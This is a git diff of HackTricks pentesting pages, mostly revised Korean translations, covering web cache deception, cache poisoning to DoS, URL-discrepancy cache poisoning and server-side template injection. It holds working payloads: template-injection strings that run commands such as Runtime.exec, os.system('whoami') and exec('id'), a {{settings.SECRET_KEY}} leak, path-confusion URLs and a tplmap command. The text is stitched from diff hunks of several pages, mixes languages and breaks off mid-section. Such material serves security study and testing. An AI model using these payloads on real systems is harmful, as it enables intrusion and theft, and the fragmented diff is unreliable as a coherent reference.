[RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230)는 헤더 이름에서 허용되는 문자를 지정합니다. 지정된 **tchar** 범위를 벗어난 문자가 포함된 헤더는 이상적으로 400 Bad Request 응답을 유발해야 합니다. 그러나 실제로 서버는 항상 이 표준을 준수하지 않습니다. 주목할 만한 예는 Akamai로, 유효하지 않은 문자가 포함된 헤더를 전달하고 `cache-control` 헤더가 없으면 400 오류를 캐시합니다. 불법 문자가 포함된 헤더(예: `\`)를 보내면 캐시 가능한 400 Bad Request 오류가 발생하는 패턴이 발견되었습니다.
|
||||
|
||||
### Finding new headers
|
||||
|
||||
|
@ -208,7 +213,7 @@ Cloudflare는 이전에 403 응답을 캐시했습니다. 잘못된 Authorizatio
|
|||
|
||||
## Cache Deception
|
||||
|
||||
Cache Deception의 목표는 클라이언트가 **민감한 정보로 저장될 리소스를 캐시로 로드하게 만드는 것입니다**.
|
||||
Cache Deception의 목표는 클라이언트가 **민감한 정보로 저장될 리소스를 로드하게 만드는 것입니다.**
|
||||
|
||||
우선, **extensions**인 `.css`, `.js`, `.png` 등이 일반적으로 **캐시**에 **저장**되도록 **구성**되어 있다는 점에 유의하세요. 따라서 `www.example.com/profile.php/nonexistent.js`에 접근하면 캐시는 `.js` **extension**을 보고 응답을 저장할 가능성이 높습니다. 그러나 **application**이 _www.example.com/profile.php_에 저장된 **민감한** 사용자 콘텐츠로 **replaying**하는 경우, 다른 사용자로부터 해당 콘텐츠를 **훔칠** 수 있습니다.
|
||||
|
||||
|
@ -219,15 +224,15 @@ Cache Deception의 목표는 클라이언트가 **민감한 정보로 저장될
|
|||
* _www.example.com/profile.php/test.js_
|
||||
* _www.example.com/profile.php/../test.js_
|
||||
* _www.example.com/profile.php/%2e%2e/test.js_
|
||||
* _덜 알려진 확장자 사용 예:_.avif
|
||||
* _덜 알려진 확장자 사용하기:_.avif
|
||||
|
||||
또한, 이 글에서 매우 명확한 예를 찾을 수 있습니다: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).\
|
||||
예제에서는 _http://www.example.com/home.php/non-existent.css_와 같은 존재하지 않는 페이지를 로드하면 _http://www.example.com/home.php_ (**사용자의 민감한 정보 포함**)의 내용이 반환되고 캐시 서버가 결과를 저장한다고 설명합니다.\
|
||||
그런 다음, **attacker**는 자신의 브라우저에서 _http://www.example.com/home.php/non-existent.css_에 접근하여 이전에 접근한 사용자의 **기밀 정보**를 관찰할 수 있습니다.
|
||||
그런 다음 **attacker**는 자신의 브라우저에서 _http://www.example.com/home.php/non-existent.css_에 접근하여 이전에 접근한 사용자의 **기밀 정보**를 관찰할 수 있습니다.
|
||||
|
||||
**cache proxy**는 **파일의 확장자**(_css_)를 기반으로 **캐시**하도록 **구성**되어야 하며, 콘텐츠 유형에 따라 캐시되지 않아야 합니다. 예제 _http://www.example.com/home.php/non-existent.css_는 `text/css` MIME 유형 대신 `text/html` 콘텐츠 유형을 가집니다(이는 _.css_ 파일에 대한 예상입니다).
|
||||
|
||||
여기에서 [HTTP Request Smuggling을 악용한 Cache Deceptions 공격 수행 방법](../http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-deception)을 배울 수 있습니다.
|
||||
여기에서 [HTTP Request Smuggling을 악용한 Cache Deceptions 공격 수행 방법](../http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-deception)에 대해 알아보세요.
|
||||
|
||||
## Automatic Tools
|
||||
|
||||
|
@ -245,22 +250,22 @@ Cache Deception의 목표는 클라이언트가 **민감한 정보로 저장될
|
|||
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=cache-deception)를 사용하여 세계에서 **가장 진보된** 커뮤니티 도구로 구동되는 **워크플로우**를 쉽게 구축하고 **자동화**하세요.\
|
||||
오늘 바로 액세스하세요:
|
||||
Use [**Trickest**](https://trickest.com/?utm\_source=hacktricks\&utm\_medium=text\&utm\_campaign=ppc\&utm\_term=trickest\&utm\_content=cache-deception) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
|
||||
Get Access Today:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=cache-deception" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 배우고 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 배우고 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>HackTricks 지원하기</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter**에서 **팔로우**하세요 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,8 +1,8 @@
|
|||
# Cache Poisoning to DoS
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -29,7 +29,7 @@ X-Oversize-Hedear:Big-Value-000000000000000
|
|||
```
|
||||
* **HTTP 메타 문자 (HMC) 및 예상치 못한 값**
|
||||
|
||||
` \n ` 및 ` \r `와 같은 **유해한 메타 문자**를 포함하는 헤더를 전송합니다. 공격이 작동하려면 먼저 캐시를 우회해야 합니다.
|
||||
해당 공격이 작동하려면 먼저 캐시를 우회해야 합니다. 해로운 메타 문자가 포함된 헤더를 전송하십시오.
|
||||
```
|
||||
GET / HTTP/1.1
|
||||
Host: redacted.com
|
||||
|
@ -43,9 +43,9 @@ GET /anas/repos HTTP/2
|
|||
Host: redacted.com
|
||||
Content-Type: HelloWorld
|
||||
```
|
||||
* **키가 없는 헤더**
|
||||
* **Unkeyed header**
|
||||
|
||||
일부 웹사이트는 요청에 _X-Amz-Website-Location-Redirect: someThing_ 헤더와 같은 특정 헤더가 **보이면** 오류 상태 코드를 반환합니다.
|
||||
일부 웹사이트는 요청에 특정 헤더가 포함되어 있으면 오류 상태 코드를 반환합니다. 예를 들어 _X-Amz-Website-Location-Redirect: someThing_ 헤더가 있습니다:
|
||||
```
|
||||
GET /app.js HTTP/2
|
||||
Host: redacted.com
|
||||
|
@ -137,16 +137,16 @@ Cache: hit
|
|||
* [https://youst.in/posts/cache-poisoning-at-scale/?source=post\_page-----3a829f221f52--------------------------------](https://youst.in/posts/cache-poisoning-at-scale/?source=post\_page-----3a829f221f52--------------------------------)
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
AWS 해킹 배우기 및 연습하기:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 배우기 및 연습하기: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>HackTricks 지원하기</summary>
|
||||
|
||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
||||
* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -0,0 +1,79 @@
|
|||
# URL 불일치를 통한 캐시 오염
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 배우기 및 연습하기:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 배우기 및 연습하기: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>HackTricks 지원하기</summary>
|
||||
|
||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
이 문서는 **캐시 프록시와 웹 서버 간의 불일치를 악용하여 캐시 오염 공격을 수행하기 위해 제안된 기술의 요약입니다.** [https://portswigger.net/research/gotta-cache-em-all](https://portswigger.net/research/gotta-cache-em-all)
|
||||
|
||||
{% hint style="info" %}
|
||||
이 공격의 목표는 **캐시 서버가 정적 리소스가 로드되고 있다고 생각하게 만들어** 캐시를 저장하는 것입니다. 캐시 서버는 경로의 일부를 캐시 키로 저장하지만 웹 서버는 다른 경로를 해결하여 응답합니다. 웹 서버는 사용자의 민감한 정보, XSS와 같은 악성 페이로드 또는 공격자의 웹사이트에서 JS 파일을 로드하도록 리디렉션하는 동적 페이지를 로드하는 실제 경로를 해결합니다.
|
||||
{% endhint %}
|
||||
|
||||
## 구분자
|
||||
|
||||
**URL 구분자**는 프레임워크와 서버에 따라 다르며, 요청이 라우팅되고 응답이 처리되는 방식에 영향을 미칩니다. 일반적인 원본 구분자는 다음과 같습니다:
|
||||
|
||||
* **세미콜론**: Spring에서 행렬 변수를 위해 사용됨 (예: `/hello;var=a/world;var1=b;var2=c` → `/hello/world`).
|
||||
* **점**: Ruby on Rails에서 응답 형식을 지정 (예: `/MyAccount.css` → `/MyAccount`)
|
||||
* **널 바이트**: OpenLiteSpeed에서 경로를 잘라냄 (예: `/MyAccount%00aaa` → `/MyAccount`).
|
||||
* **새 줄 바이트**: Nginx에서 URL 구성 요소를 구분 (예: `/users/MyAccount%0aaaa` → `/account/MyAccount`).
|
||||
|
||||
이 프로세스를 따라 다른 특정 구분자를 찾을 수 있습니다:
|
||||
|
||||
* **1단계**: 캐시할 수 없는 요청을 식별하고 이를 사용하여 잠재적인 구분자가 있는 URL이 어떻게 처리되는지 모니터링합니다.
|
||||
* **2단계**: 경로에 무작위 접미사를 추가하고 서버의 응답을 비교하여 문자가 구분자로 작동하는지 확인합니다.
|
||||
* **3단계**: 무작위 접미사 앞에 잠재적인 구분자를 도입하여 응답이 변경되는지 확인하여 구분자 사용을 나타냅니다.
|
||||
|
||||
## 정규화 및 인코딩
|
||||
|
||||
* **목적**: 캐시 및 원본 서버의 URL 파서는 엔드포인트 매핑 및 캐시 키를 추출하기 위해 URL을 정규화합니다.
|
||||
* **프로세스**: 경로 구분자를 식별하고 문자를 디코딩하고 점 세그먼트를 제거하여 경로를 추출하고 정규화합니다.
|
||||
|
||||
### **인코딩**
|
||||
|
||||
Nginx, Node 및 CloudFront와 같은 다양한 HTTP 서버 및 프록시는 구분자를 다르게 디코딩하여 CDNs 및 원본 서버 간의 불일치를 초래할 수 있습니다. 예를 들어, 웹 서버가 이 변환을 수행하는 경우 `/myAccount%3Fparam` → `/myAccount?param`이지만 캐시 서버는 경로 `/myAccount%3Fparam`을 키로 유지하면 불일치가 발생합니다.
|
||||
|
||||
이러한 불일치를 확인하는 방법은 경로를 인코딩 없이 로드한 후 다양한 문자를 URL 인코딩하여 요청을 보내고 인코딩된 경로 응답이 캐시된 응답에서 온 것인지 확인하는 것입니다.
|
||||
|
||||
### 점 세그먼트
|
||||
|
||||
점이 포함된 경로 정규화는 캐시 오염 공격에 매우 흥미롭습니다. 예를 들어, `/static/../home/index` 또는 `/aaa..\home/index`와 같은 경우, 일부 캐시 서버는 이러한 경로를 키로 캐시할 수 있지만 다른 서버는 경로를 해결하고 `/home/index`를 캐시 키로 사용할 수 있습니다.\
|
||||
이전과 마찬가지로 이러한 종류의 요청을 보내고 `/home/index`에 대한 응답이 요청된 경로에서 수집된 응답인지 확인하는 것이 도움이 됩니다.
|
||||
|
||||
## 정적 리소스
|
||||
|
||||
여러 캐시 서버는 응답이 정적이라고 식별되면 항상 응답을 캐시합니다. 이는 다음과 같은 이유 때문일 수 있습니다:
|
||||
|
||||
* **확장자**: Cloudflare는 다음 확장자를 가진 파일을 항상 캐시합니다: 7z, csv, gif, midi, png, tif, zip, avi, doc, gz, mkv, ppt, tiff, zst, avif, docx, ico, mp3, pptx, ttf, apk, dmg, iso, mp4, ps, webm, bin, ejs, jar, ogg, rar, webp, bmp, eot, jpg, otf, svg, woff, bz2, eps, jpeg, pdf, svgz, woff2, class, exe, js, pict, swf, xls, css, flac, mid, pls, tar, xlsx
|
||||
* 구분자와 정적 확장을 사용하여 동적 응답을 캐시하도록 강제할 수 있습니다. 예를 들어 `/home$image.png`에 대한 요청은 `/home$image.png`를 캐시하고 원본 서버는 `/home`으로 응답합니다.
|
||||
* **잘 알려진 정적 디렉토리**: 다음 디렉토리는 정적 파일을 포함하고 있으므로 그 응답은 캐시되어야 합니다: /static, /assets, /wp-content, /media, /templates, /public, /shared
|
||||
* 구분자, 정적 디렉토리 및 점을 사용하여 동적 응답을 캐시하도록 강제할 수 있습니다. 예를 들어 `/home/..%2fstatic/something`은 `/static/something`을 캐시하고 응답은 `/home`이 됩니다.
|
||||
* **정적 디렉토리 + 점**: `/static/..%2Fhome` 또는 `/static/..%5Chome`에 대한 요청은 그대로 캐시될 수 있지만 응답은 `/home`일 수 있습니다.
|
||||
* **정적 파일:** `/robots.txt`, `/favicon.ico`, `/index.html`과 같은 특정 파일은 항상 캐시됩니다. 이는 `/home/..%2Frobots.txt`와 같이 악용될 수 있으며, 캐시는 `/robots.txt`를 저장하고 원본 서버는 `/home`에 응답합니다.
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 배우기 및 연습하기:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 배우기 및 연습하기: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>HackTricks 지원하기</summary>
|
||||
|
||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
|
@ -1,8 +1,8 @@
|
|||
# SSTI (Server Side Template Injection)
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -29,9 +29,9 @@ Jinja는 웹 애플리케이션에서 사용되는 인기 있는 템플릿 엔
|
|||
```python
|
||||
output = template.render(name=request.args.get('name'))
|
||||
```
|
||||
이 취약한 코드에서 사용자의 요청으로부터 `name` 매개변수가 `render` 함수 사용하여 템플릿에 직접 전달됩니다. 이는 공격자가 `name` 매개변수에 악성 코드를 주입할 수 있게 하여 서버 측 템플릿 주입으로 이어질 수 있습니다.
|
||||
이 취약한 코드에서 사용자의 요청으로부터 `name` 매개변수가 `render` 함수를 사용하여 템플릿에 직접 전달됩니다. 이는 공격자가 `name` 매개변수에 악성 코드를 주입할 수 있게 하여 서버 측 템플릿 주입으로 이어질 수 있습니다.
|
||||
|
||||
예를 들어, 공격자는 다음과 같은 페이로드로 요청을 만들 수 있습니다:
|
||||
예를 들어, 공격자는 다음과 같은 페이로드를 포함한 요청을 만들 수 있습니다:
|
||||
```
|
||||
http://vulnerable-website.com/?name={{bad-stuff-here}}
|
||||
```
|
||||
|
@ -41,16 +41,16 @@ The payload `{{bad-stuff-here}}`는 `name` 매개변수에 주입됩니다. 이
|
|||
|
||||
### Detection
|
||||
|
||||
서버 측 템플릿 주입(SSTI)을 탐지하기 위해, 처음에는 **템플릿 퍼징**이 간단한 접근 방식입니다. 이는 특수 문자(**`${{<%[%'"}}%\`**)의 시퀀스를 템플릿에 주입하고, 일반 데이터와 이 특수 페이로드에 대한 서버의 응답 차이를 분석하는 것을 포함합니다. 취약점 지표는 다음과 같습니다:
|
||||
서버 측 템플릿 주입(SSTI)을 탐지하기 위해, 처음에는 **템플릿 퍼징**이 간단한 접근 방식입니다. 이는 특수 문자 시퀀스(**`${{<%[%'"}}%\`**)를 템플릿에 주입하고 서버의 응답에서 일반 데이터와 이 특수 페이로드의 차이를 분석하는 것을 포함합니다. 취약점 지표에는 다음이 포함됩니다:
|
||||
|
||||
* 취약점을 드러내는 오류 발생 및 잠재적으로 템플릿 엔진.
|
||||
* 반사에서 페이로드가 없거나 일부가 누락되어, 서버가 이를 일반 데이터와 다르게 처리함을 암시.
|
||||
* **평문 컨텍스트**: 서버가 템플릿 표현식(예: `{{7*7}}`, `${7*7}`)을 평가하는지 확인하여 XSS와 구별.
|
||||
* 반사에서 페이로드가 없거나 일부가 누락되어 서버가 이를 일반 데이터와 다르게 처리함을 암시.
|
||||
* **평문 컨텍스트**: 서버가 템플릿 표현식을 평가하는지 확인하여 XSS와 구별합니다 (예: `{{7*7}}`, `${7*7}`).
|
||||
* **코드 컨텍스트**: 입력 매개변수를 변경하여 취약점을 확인합니다. 예를 들어, `http://vulnerable-website.com/?greeting=data.username`에서 `greeting`을 변경하여 서버의 출력이 동적 또는 고정인지 확인합니다. 예를 들어, `greeting=data.username}}hello`가 사용자 이름을 반환하는지 확인합니다.
|
||||
|
||||
#### Identification Phase
|
||||
|
||||
템플릿 엔진을 식별하기 위해 오류 메시지를 분석하거나 다양한 언어별 페이로드를 수동으로 테스트합니다. 오류를 유발하는 일반적인 페이로드에는 `${7/0}`, `{{7/0}}`, `<%= 7/0 %>`가 포함됩니다. 수학적 연산에 대한 서버의 응답을 관찰하면 특정 템플릿 엔진을 파악하는 데 도움이 됩니다.
|
||||
템플릿 엔진을 식별하기 위해 오류 메시지를 분석하거나 다양한 언어별 페이로드를 수동으로 테스트합니다. 오류를 유발하는 일반적인 페이로드에는 `${7/0}`, `{{7/0}}`, `<%= 7/0 %>`가 포함됩니다. 수학 연산에 대한 서버의 응답을 관찰하면 특정 템플릿 엔진을 파악하는 데 도움이 됩니다.
|
||||
|
||||
## Tools
|
||||
|
||||
|
@ -88,7 +88,7 @@ python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment
|
|||
|
||||
### Java
|
||||
|
||||
**Java - Basic injection**
|
||||
**Java - 기본 인젝션**
|
||||
```java
|
||||
${7*7}
|
||||
${{7*7}}
|
||||
|
@ -181,11 +181,11 @@ ${T(java.lang.Runtime).getRuntime().exec('calc')}
|
|||
${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}
|
||||
```
|
||||
|
||||
타임리프는 이러한 표현식이 특정 속성 내에 배치되도록 요구합니다. 그러나 _표현식 인라인_은 `[[...]]` 또는 `[(...)]`와 같은 구문을 사용하여 다른 템플릿 위치에 대해 지원됩니다. 따라서 간단한 SSTI 테스트 페이로드는 `[[${7*7}]]`와 같을 수 있습니다.
|
||||
타임리프는 이러한 표현식이 특정 속성 내에 배치되도록 요구합니다. 그러나 _표현식 인라인_은 `[[...]]` 또는 `[(...)]`와 같은 구문을 사용하여 다른 템플릿 위치에 대해 지원됩니다. 따라서 간단한 SSTI 테스트 페이로드는 `[[${7*7}]]`와 같이 보일 수 있습니다.
|
||||
|
||||
그러나 이 페이로드가 작동할 가능성은 일반적으로 낮습니다. 타임리프의 기본 구성은 동적 템플릿 생성을 지원하지 않으며, 템플릿은 미리 정의되어야 합니다. 개발자는 문자열에서 즉석으로 템플릿을 생성하기 위해 자신의 `TemplateResolver`를 구현해야 하며, 이는 드뭅니다.
|
||||
|
||||
타임리프는 또한 _표현식 전처리_를 제공하며, 이중 밑줄(`__...__`) 내의 표현식이 전처리됩니다. 이 기능은 타임리프 문서에서 보여준 바와 같이 표현식 구성에 활용될 수 있습니다:
|
||||
타임리프는 또한 _표현식 전처리_를 제공하며, 이중 밑줄(`__...__`) 내의 표현식이 전처리됩니다. 이 기능은 타임리프 문서에서 보여준 것처럼 표현식 구성에 활용될 수 있습니다:
|
||||
```java
|
||||
#{selection.__${sel.code}__}
|
||||
```
|
||||
|
@ -209,7 +209,7 @@ http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})
|
|||
[el-expression-language.md](el-expression-language.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### 스프링 프레임워크 (자바)
|
||||
### 스프링 프레임워크 (Java)
|
||||
```java
|
||||
*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}
|
||||
```
|
||||
|
@ -282,6 +282,7 @@ Pebble의 이전 버전 ( < version 3.0.9):
|
|||
|
||||
|
||||
|
||||
|
||||
{% set bytes = (1).TYPE
|
||||
.forName('java.lang.Runtime')
|
||||
.methods[6]
|
||||
|
@ -319,9 +320,9 @@ Jinjava는 Hubspot에서 개발한 오픈 소스 프로젝트로, [https://githu
|
|||
|
||||
### Hubspot - HuBL (Java)
|
||||
|
||||
* `{% %}` 문장 구분자
|
||||
* `{{ }}` 표현 구분자
|
||||
* `{# #}` 주석 구분자
|
||||
* `{% %}` 문(statement) 구분자
|
||||
* `{{ }}` 표현(expression) 구분자
|
||||
* `{# #}` 주석(comment) 구분자
|
||||
* `{{ request }}` - com.hubspot.content.hubl.context.TemplateContextRequest@23548206
|
||||
* `{{'a'.toUpperCase()}}` - "A"
|
||||
* `{{'a'.concat('b')}}` - "ab"
|
||||
|
@ -385,7 +386,7 @@ Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstanc
|
|||
Expression Language (EL)은 JavaEE에서 프레젠테이션 레이어(웹 페이지와 같은)와 애플리케이션 로직(관리되는 빈과 같은) 간의 상호작용을 촉진하는 기본 기능입니다. 여러 JavaEE 기술에서 이 통신을 간소화하기 위해 광범위하게 사용됩니다. EL을 활용하는 주요 JavaEE 기술은 다음과 같습니다:
|
||||
|
||||
* **JavaServer Faces (JSF)**: JSF 페이지의 구성 요소를 해당 백엔드 데이터 및 작업에 바인딩하기 위해 EL을 사용합니다.
|
||||
* **JavaServer Pages (JSP)**: JSP에서 EL은 JSP 페이지 내의 데이터에 접근하고 조작하는 데 사용되어 페이지 요소를 애플리케이션 데이터에 연결하는 것을 쉽게 만듭니다.
|
||||
* **JavaServer Pages (JSP)**: JSP에서 데이터에 접근하고 조작하기 위해 EL을 사용하여 페이지 요소를 애플리케이션 데이터에 쉽게 연결할 수 있습니다.
|
||||
* **Java EE를 위한 컨텍스트 및 의존성 주입 (CDI)**: EL은 CDI와 통합되어 웹 레이어와 관리되는 빈 간의 원활한 상호작용을 허용하여 보다 일관된 애플리케이션 구조를 보장합니다.
|
||||
|
||||
**EL 인터프리터의 악용**에 대해 더 알아보려면 다음 페이지를 확인하세요:
|
||||
|
@ -765,6 +766,7 @@ home = pugjs.render(injected_page)
|
|||
|
||||
|
||||
|
||||
|
||||
{{os.system('whoami')}}
|
||||
{{os.system('whoami')}}
|
||||
```
|
||||
|
@ -797,6 +799,7 @@ home = pugjs.render(injected_page)
|
|||
|
||||
|
||||
|
||||
|
||||
{{settings.SECRET_KEY}}
|
||||
{{4*4}}[[5*5]]
|
||||
{{7*'7'}} would result in 7777777
|
||||
|
@ -906,9 +909,9 @@ vbnet Copy code
|
|||
|
||||
**RCE Exploitation**
|
||||
|
||||
